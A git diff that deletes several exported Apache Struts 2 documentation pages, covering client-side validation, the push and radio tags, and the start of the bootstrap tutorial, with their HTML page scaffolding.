-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14262">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14262">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14262">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14262">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14262">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14262">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Pure JavaScript client side validation is the simplest but least feature-rich type of <a shape="rect" href="client-side-validation.html">Client Side Validation</a>. This type of validation uses 100% client-side JavaScript code to try to validate the values entered by the user. Because the validation logic is actually repeated in the JavaScript code, it is important to understand that some values will be considered acceptable by the JavaScript co [...]
-
-<plain-text-body>{snippet:id=supported-validators|url=struts2/core/src/main/resources/template/xhtml/form-close-validate.ftl}</plain-text-body>
-
-<rich-text-body>
-<p>JavaScript client validation is not available for visitor validations.</p></rich-text-body>
-
-<h2 id="PureJavaScriptClientSideValidation-Errorreporting">Error reporting</h2>
-
-<p>Because client side validation does not talk to the server, the theme (<a shape="rect" href="xhtml-theme.html">xhtml theme</a> or <a shape="rect" href="cssxhtml-theme.html">css_xhtml theme</a>) is responsible for properly manipulating the HTML DOM to display the error message inline. The JavaScript that is responsible for doing this logic is <code>validation.js</code> and can be found in each theme.</p>
-
-<rich-text-body><p>Errors are reported using the default validation message, not the internationalized version that the server-side might be aware of. This is a known issue. You may want to try the <a shape="rect" href="ajax-client-side-validation.html">AJAX Client Side Validation</a> for messages that are fully internationalized.</p></rich-text-body>
-
-<h2 id="PureJavaScriptClientSideValidation-AdditionalValidatorSupport">Additional Validator Support</h2>
-
-<p>If you wish to add additional validator support beyond those listed, you may override the <a shape="rect" href="xhtml-theme.html">xhtml theme</a> teamplte <code>form-close-validate.ftl</code>. This file contains the JavaScript that tries to validate each user-entered value from within the browswer. The <a shape="rect" href="cssxhtml-theme.html">css_xhtml theme</a> extends the <a shape="rect" href="xhtml-theme.html">xhtml theme</a> and therefore doesn't have it's own form-close-validat [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/push.html b/content/docs/push.html
deleted file mode 100644
index c9ec667..0000000
--- a/content/docs/push.html
+++ /dev/null
@@ -1,225 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>push</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="generic-tag-reference.html">Generic Tag Reference</a>&nbsp;&gt;&nbsp;<a href="push.html">push</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">push</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14121">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14121">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14121">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14121">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14121">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14121">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-
-<h1 id="push-Description">Description</h1>
-
-<p></p><p>Push value on stack for simplified usage.</p>
-
-<h1 id="push-Parameters">Parameters</h1>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h1 id="push-Examples">Examples</h1>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;s:push value=&quot;user&quot;&gt;
-    &lt;s:propery value=&quot;firstName&quot; /&gt;
-    &lt;s:propery value=&quot;lastName&quot; /&gt;
-&lt;/s:push&gt;
-]]></script>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: plain; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-Pushed user into the stack, and hence property tag could access user&#39;s properties
-(firstName, lastName etc) since user is now at the top of the stack
-]]></script>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;s:push value=&quot;myObject&quot;&gt;                              ----- (1)
-     &lt;s:bean name=&quot;jp.SomeBean&quot; var=&quot;myBean&quot;/&gt;        ----- (2)
-        &lt;s:param name=&quot;myParam&quot; value=&quot;top&quot;/&gt;        ----- (3)
-     &lt;/s:bean&gt;
- &lt;/s:push&gt;
-]]></script>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: plain; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-when in (1), myObject is at the top of the stack
-when in (2), jp.SomeBean is in the top of stack, also in stack&#39;s context with key myBean
-when in (3), top will get the jp.SomeBean instance
-]]></script>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;s:push value=&quot;myObject&quot;&gt;                                       ---(A)
-   &lt;s:bean name=&quot;jp.SomeBean&quot; var=&quot;myBean&quot;/&gt;                   ---(B)
-      &lt;s:param name=&quot;myParam&quot; value=&quot;top.mySomeOtherValue&quot;/&gt;  ---(C)
-   &lt;/s:bean&gt;
-&lt;/s:push&gt;
-]]></script>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: plain; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-when in (A), myObject is at the top of the stack
-when in (B), jp.SomeBean is at the top of the stack, also in context with key myBean
-when in (C), top refers to jp.SomeBean instance. so top.mySomeOtherValue would invoke SomeBean&#39;s mySomeOtherValue() method
-]]></script>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;s:push value=&quot;myObject&quot;&gt;                                 ---- (i)
-   &lt;s:bean name=&quot;jp.SomeBean&quot; var=&quot;myBean&quot;/&gt;             ---- (ii)
-      &lt;s:param name=&quot;myParam&quot; value=&quot;[1].top&quot;/&gt;         -----(iii)
-   &lt;/s:bean&gt;
-&lt;/s:push&gt;
-]]></script>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: plain; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-when in (i), myObject is at the top of the stack
-when in (ii), jp.SomeBean is at the top of the stack, followed by myObject
-when in (iii), [1].top will returned top of the cut of stack starting from myObject, namely myObject itself
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/radio.html b/content/docs/radio.html
deleted file mode 100644
index 1d05e76..0000000
--- a/content/docs/radio.html
+++ /dev/null
@@ -1,185 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>radio</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="radio.html">radio</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">radio</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14226">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14226">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14226">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14226">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14226">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14226">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-<div class="confluence-information-macro confluence-information-macro-note"><p class="title">Important</p><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p></p><p>
-Note that the listkey and listvalue attribute will default to "key" and "value"
-respectively only when the list attribute is evaluated to a Map or its descendant.
-Everything else will result in listkey and listvalue to be null and not used.
-</p></div></div>
-
-<h2 id="radio-Description">Description</h2>
-
-<p></p><p>Render a radio button input field.</p>
-
-<h2 id="radio-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> true</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rowsp [...]
-
-<h2 id="radio-Examples">Examples</h2>
-
-<p>In this example, a radio control is displayed with a list of genders. The gender list is built from attribute
-id=genders. The framework calls getGenders() which will return a Map. For examples using listKey and listValue attributes,
-see the section select tag. The default selected one will be determined (in this case) by the getMale() method
-in the action class which should return a value similar to the key of the getGenders() map if that particular
-gender is to be selected.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;s:action name=&quot;GenderMap&quot; var=&quot;genders&quot;/&gt;
-&lt;s:radio label=&quot;Gender&quot; name=&quot;male&quot; list=&quot;#genders.genders&quot;/&gt;
-]]></script>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;@s.radio name=&quot;car&quot; list={&quot;ford&quot;: &quot;Ford Motor Co&quot;, &quot;toyota&quot;: &quot;Toyota&quot;} listKey=&quot;key&quot; listValue=&quot;value&quot; /&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/ready-set-go.html b/content/docs/ready-set-go.html
deleted file mode 100644
index 4412a5b..0000000
--- a/content/docs/ready-set-go.html
+++ /dev/null
@@ -1,186 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Ready, Set, Go!</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="bootstrap.html">Bootstrap</a>&nbsp;&gt;&nbsp;<a href="ready-set-go.html">Ready, Set, Go!</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Ready, Set, Go!</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14102">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14102">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14102">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14102">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14102">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14102">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The Bootstrap tutorial walks through installing the framework and creating a simple application.</p>
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>While the framework is simple to use, creating non-trivial applications assumes a working knowledge of many JEE technologies, including:</p>
-
-<ul><li>Java</li><li>Filters, JSP, and Tag Libraries</li><li>JavaBeans</li><li>HTML and HTTP</li><li>Web Containers (such as Tomcat)</li><li>XML</li></ul>
-</div></div>
-
-<p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> For more about supporting technologies, see the <a shape="rect" class="external-link" href="http://struts.apache.org/primer.html">Key Technologies Primer</a>.</p>
-
-<p>In the <em>Ready, Set, Go!</em> lesson, we download the framework and get started on an application of our own.</p>
-
-<h2 id="Ready,Set,Go!-DownloadtheDistribution">Download the Distribution</h2>
-
-<p>A distribution can be downloaded from the <a shape="rect" class="external-link" href="http://struts.apache.org/downloads.html">Apache Struts website</a>. The full distribution contains the <code>struts2-core.jar</code> file,related dependencies, example applications, a copy of the documentation in HTML format, and the complete source code.</p>
-
-<div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>To compile it yourself, refer to <a shape="rect" href="building-the-framework-from-source.html">Building the Framework from Source</a>.</p></div></div>
-
